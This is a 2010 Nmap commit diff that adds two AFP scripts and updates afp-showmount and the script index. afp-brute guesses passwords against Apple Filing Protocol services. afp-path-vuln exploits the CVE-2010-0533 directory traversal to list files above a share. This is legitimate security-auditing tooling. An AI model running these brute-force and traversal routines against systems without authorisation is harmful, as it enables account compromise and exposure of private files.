o [NSE] Updated the AFP library to support several new AFP functions and added

authentication support. Updated the afp-showmount script and added two new
  scripts:
  - afp-brute attempts to guess passwords against the AFP service
  - afp-path-vuln detects the AFP directory traversal vulnerability 
    CVE-2010-0533
  [Patrik]
This commit is contained in:
patrik 2010-03-29 17:41:00 +00:00
parent 7a953e2153
commit b1e64b3161
6 changed files with 1942 additions and 491 deletions

View file

@ -2,7 +2,13 @@
Nmap 5.22TEST [2010-03-29]
o Placeholder for new NSE scripts count/info
o [NSE] Updated the AFP library to support several new AFP functions and added
authentication support. Updated the afp-showmount script and added two new
scripts:
- afp-brute attempts to guess passwords against the AFP service
- afp-path-vuln detects the AFP directory traversal vulnerability
CVE-2010-0533
[Patrik]
o An ALPHA TEST VERSION of Nping, a packet generater written by Luis
MartinGarcia and Fyodor last summer, is now included in the Nmap

File diff suppressed because it is too large Load diff

112
scripts/afp-brute.nse Normal file
View file

@ -0,0 +1,112 @@
description = [[
Performs password guessing against Apple Filing Protocol (AFP)
]]
---
-- @usage
-- nmap -p 548 --script afp-brute <host>
--
-- @output
-- PORT STATE SERVICE
-- 548/tcp open afp
-- | afp-brute:
-- |_ admin:KenSentMe => Login Correct
--
--
-- Information on AFP implementations
--
-- Snow Leopard
-- ------------
-- - Delay 10 seconds for accounts with more than 5 incorrect login attempts (good)
-- - Instant response if password is successfull
--
-- Netatalk
-- --------
-- - Netatalk responds with a "Parameter error" when the username is invalid
--
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
require 'shortport'
require 'stdnse'
require 'afp'
require 'unpwdb'
-- Version 0.2
-- Created 01/15/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 03/09/2010 - v0.2 - changed so that passwords are iterated over users
-- - this change makes better sence as guessing is slow
portrule = shortport.port_or_service(548, "afp")
action = function( host, port )
local max_time = unpwdb.timelimit() ~= nil and unpwdb.timelimit() * 1000 or -1
local clock_start = nmap.clock_ms()
local result, response, status, aborted = {}, nil, nil, false
local valid_accounts, found_users = {}, {}
local helper
status, usernames = unpwdb.usernames()
if not status then return end
status, passwords = unpwdb.passwords()
if not status then return end
for password in passwords do
for username in usernames do
if ( not(found_users[username]) ) then
if max_time>0 and nmap.clock_ms() - clock_start > max_time then
aborted=true
break
end
helper = afp.Helper:new()
status, response = helper:OpenSession( host, port )
if ( not(status) ) then
stdnse.print_debug("OpenSession failed")
return
end
stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) )
status, response = helper:Login( username, password )
-- if the response is "Parameter error." we're dealing with Netatalk
-- This basically means that the user account does not exist
-- In this case, why bother continuing? Simply abort and thank Netatalk for the fish
if response:match("Parameter error.") then
stdnse.print_debug("Netatalk told us the user does not exist! Thanks.")
-- mark it as "found" to skip it
found_users[username] = true
end
if status then
-- Add credentials for other afp scripts to use
if nmap.registry.afp == nil then
nmap.registry.afp = {}
end
nmap.registry.afp[username]=password
found_users[username] = true
table.insert( valid_accounts, string.format("%s:%s => Login Correct", username, password:len()>0 and password or "<empty>" ) )
break
end
helper:CloseSession()
end
end
usernames("reset")
end
local output = stdnse.format_output(true, valid_accounts)
if max_time > 0 and aborted then
output = ( output or "" ) .. string.format(" \n\nscript aborted execution after %d seconds", max_time/1000 )
end
return output
end

177
scripts/afp-path-vuln.nse Normal file
View file

@ -0,0 +1,177 @@
description = [[ Detects the Mac OS X AFP directory traversal vulnerability CVE-2010-0533 ]]
---
-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
--
--@output
-- PORT STATE SERVICE
-- 548/tcp open afp
-- | afp-path-vuln:
-- | Patrik Karlsson's Public Folder/../ (5 first items)
-- | .bash_history
-- | .bash_profile
-- | .CFUserTextEncoding
-- | .config/
-- | .crash_report_checksum
-- |
-- |_AFP path traversal (CVE-2010-0533): VULNERABLE
--
-- Description
-- -----------
-- This script attempt to iterate over all AFP shares on the remote host.
-- For each share it attempts to access the parent directory by exploiting
-- the directory traversal vulnerability as described in CVE-2010-0533.
--
-- The script reports whether the system is vulnerable or not. In addition it
-- lists the contents of the parent and child directories to a max depth of 2.
--
-- When running in verbose mode, all items in the listed directories are shown.
-- In non verbose mode, output is limited to the first 5 items.
--
-- If the server is not vulnerable, the script will not return any information.
--
--
-- For additional information:
-- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0533
-- http://www.cqure.net/wp/2010/03/detecting-apple-mac-os-x-afp-vulnerability-cve-2010-0533-with-nmap
-- http://support.apple.com/kb/HT1222
--
-- Version 0.3
--
-- Created 02/09/2010 - v0.1 - created by Patrik Karlsson as PoC for Apple
-- Revised 05/03/2010 - v0.2 - cleaned up and added dependency to afp-brute and added support
-- for credentials by argument or registry
-- Revised 10/03/2010 - v0.3 - combined afp-path-exploit and afp-path-vuln into this script
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "safe"}
require 'shortport'
require 'stdnse'
require 'afp'
dependencies = {"afp-brute"}
portrule = shortport.portnumber(548, "tcp")
--- This function processes the table returned by the Dir method of the Helper class
--
-- @param tbl table containing the table as return from the Dir method
-- @param max_count number containing the maximum items to return
-- @param out table used when called recursively should be nil on first call
-- @param count number with total amount of entries so far, nil at first call
-- @return table suitable for stdnse.format_output
local function processResponse( tbl, max_count, out, count )
local out = out or {}
local count = count or 0
for _, v in ipairs(tbl) do
if ( max_count and max_count > 0 and max_count <= count ) then
break
end
if ( v.name ) then
local sfx = ( v.type == 0x80 ) and "/" or ""
table.insert(out, v.name .. sfx )
count = count + 1
elseif( type(v) == 'table' ) then
local tmp = {}
table.insert( out, tmp )
processResponse( v, max_count, tmp, count )
end
end
-- strip the outer table
return out[1]
end
--- This function simply checks if the table contains a Directory Id (DID) of 2
-- The DID of the AFP sharepoint is always 2, but no child should have this DID
--
-- @param tbl table containing the table as return from the Dir method
-- @return true if host is vulnerable, false otherwise
local function isVulnerable( tbl )
for _, v in ipairs(tbl) do
-- if we got no v.id it's probably a container table
if ( not(v.id) ) then
if ( isVulnerable(v) ) then
return true
end
end
if ( v.id == 2 ) then
return true
end
end
return false
end
action = function(host, port)
local status, response, shares
local result = {}
local afp_helper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
local vulnerable = false
local MAX_FILES = 5
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
for username, password in pairs(users) do
status, response = afp_helper:OpenSession(host, port)
if ( not(status) ) then
stdnse.print_debug(response)
return
end
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afp_helper:Login(username, password)
else
status, response = afp_helper:Login(nil, nil)
end
if ( not(status) ) then
stdnse.print_debug("afp-path-vuln: Login failed", response)
stdnse.print_debug(3, "afp-path-vuln: Login error: %s", response)
return
end
status, shares = afp_helper:ListShares()
for _, share in ipairs(shares) do
local status, response = afp_helper:Dir( share .. "/../", { max_depth = 2 } )
if ( not(status) ) then
stdnse.print_debug(3, "afp-path-vuln: %s", response)
else
if ( isVulnerable( response ) ) then
vulnerable = true
if(nmap.verbosity() > 1) then
response = processResponse( response )
response.name = share .. "/../"
else
response = processResponse( response, MAX_FILES )
response.name = share .. ("/../ (%d first items)"):format(MAX_FILES)
end
table.insert(result, response)
end
end
end
end
if ( vulnerable ) then
table.insert(result, "\n\nAFP path traversal (CVE-2010-0533): VULNERABLE")
end
return stdnse.format_output(true, result)
end

View file

@ -1,6 +1,9 @@
description = [[ Shows AFP shares and ACLs ]]
---
-- @args afp.username The username to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
-- @args afp.password The password to use for authentication. (If unset it first attempts to use credentials found by afp-brute then no credentials)
--
--@output
-- PORT STATE SERVICE
-- 548/tcp open afp
@ -17,10 +20,13 @@ description = [[ Shows AFP shares and ACLs ]]
-- | User: Search,Read
-- |_ Options: IsOwner
-- Version 0.3
-- Version 0.4
-- Created 01/03/2010 - v0.1 - created by Patrik Karlsson
-- Revised 01/13/2010 - v0.2 - Fixed a bug where a single share wouldn't show due to formatting issues
-- Revised 01/20/2010 - v0.3 - removed superflous functions
-- Revised 05/03/2010 - v0.4 - cleaned up and added dependency to afp-brute and added support for credentials
-- by argument or registry
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
@ -30,119 +36,63 @@ require 'shortport'
require 'stdnse'
require 'afp'
dependencies = {"afp-brute"}
portrule = shortport.portnumber(548, "tcp")
--- Converts a group bitmask of Search, Read and Write to table
--
-- @param acls number containing bitmasked acls
-- @return table of ACLs
function acl_group_to_long_string(acls)
local acl_table = {}
if bit.band( acls, afp.ACLS.OwnerSearch ) == afp.ACLS.OwnerSearch then
table.insert( acl_table, "Search")
end
if bit.band( acls, afp.ACLS.OwnerRead ) == afp.ACLS.OwnerRead then
table.insert( acl_table, "Read")
end
if bit.band( acls, afp.ACLS.OwnerWrite ) == afp.ACLS.OwnerWrite then
table.insert( acl_table, "Write")
end
return acl_table
end
--- Converts a numeric acl to string
--
-- @param acls number containig acls as recieved from <code>fp_get_file_dir_parms</code>
-- @return table of long ACLs
function acls_to_long_string( acls )
local owner = acl_group_to_long_string( bit.band( acls, 255 ) )
local group = acl_group_to_long_string( bit.band( bit.rshift(acls, 8), 255 ) )
local everyone = acl_group_to_long_string( bit.band( bit.rshift(acls, 16), 255 ) )
local user = acl_group_to_long_string( bit.band( bit.rshift(acls, 24), 255 ) )
local blank = bit.band( acls, afp.ACLS.BlankAccess ) == afp.ACLS.BlankAccess and "Blank" or nil
local isowner = bit.band( acls, afp.ACLS.UserIsOwner ) == afp.ACLS.UserIsOwner and "IsOwner" or nil
local options = {}
if blank then
table.insert(options, "Blank")
end
if isowner then
table.insert(options, "IsOwner")
end
local acls_tbl = {}
table.insert( acls_tbl, string.format( "Owner: %s", stdnse.strjoin(",", owner) ) )
table.insert( acls_tbl, string.format( "Group: %s", stdnse.strjoin(",", group) ) )
table.insert( acls_tbl, string.format( "Everyone: %s", stdnse.strjoin(",", everyone) ) )
table.insert( acls_tbl, string.format( "User: %s", stdnse.strjoin(",", user) ) )
if #options > 0 then
table.insert( acls_tbl, string.format( "Options: %s", stdnse.strjoin(",", options ) ) )
end
return acls_tbl
end
action = function(host, port)
local socket = nmap.new_socket()
local status
local status, response, shares
local result = {}
-- set a reasonable timeout value
socket:set_timeout(5000)
-- do some exception handling / cleanup
local catch = function()
socket:close()
end
local try = nmap.new_try(catch)
local afpHelper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
try( socket:connect(host.ip, port.number, "tcp") )
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
response = try( afp.open_session(socket) )
response = try( afp.fp_login( socket, "AFP3.1", "No User Authent") )
response = try( afp.fp_get_user_info( socket ) )
response = try( afp.fp_get_srvr_parms( socket ) )
volumes = response.volumes
for _, vol in pairs(volumes) do
table.insert( result, vol )
for username, password in pairs(users) do
status, response = afp.fp_open_vol( socket, afp.VOL_BITMAP.ID, vol )
status, response = afpHelper:OpenSession(host, port)
if ( not status ) then
stdnse.print_debug(response)
return
end
-- if we have a username attempt to authenticate as the user
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afpHelper:Login(username, password)
else
status, response = afpHelper:Login()
end
if ( not status ) then
stdnse.print_debug("afp-showmount: Login failed", response)
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
return
end
status, shares = afpHelper:ListShares()
if status then
local vol_id = response.volume_id
stdnse.print_debug(string.format("Vol_id: %d", vol_id))
local path = {}
path.type = afp.PATH_TYPE.LongNames
path.name = ""
path.len = path.name:len()
response = try( afp.fp_get_file_dir_parms( socket, vol_id, 2, 0, afp.DIR_BITMAP.AccessRights, path ) )
local acls = acls_to_long_string(response.acls)
acls.name = nil
try( afp.fp_close_vol( socket, vol_id ) )
table.insert( result, acls )
for _, vol in ipairs( shares ) do
local status, response = afpHelper:GetSharePermissions( vol )
if status then
response.name = vol
table.insert(result, response)
end
end
end
end
return stdnse.format_output(true, result)
status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession()
if ( result ) then
return stdnse.format_output(true, result)
end
end
return
end

View file

@ -1,3 +1,6 @@
Entry { filename = "afp-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "afp-path-exploit.nse", categories = { "safe", "vuln", } }
Entry { filename = "afp-path-vuln.nse", categories = { "safe", "vuln", } }
Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } }
Entry { filename = "asn-query.nse", categories = { "discovery", "external", "safe", } }
Entry { filename = "auth-owners.nse", categories = { "default", "safe", } }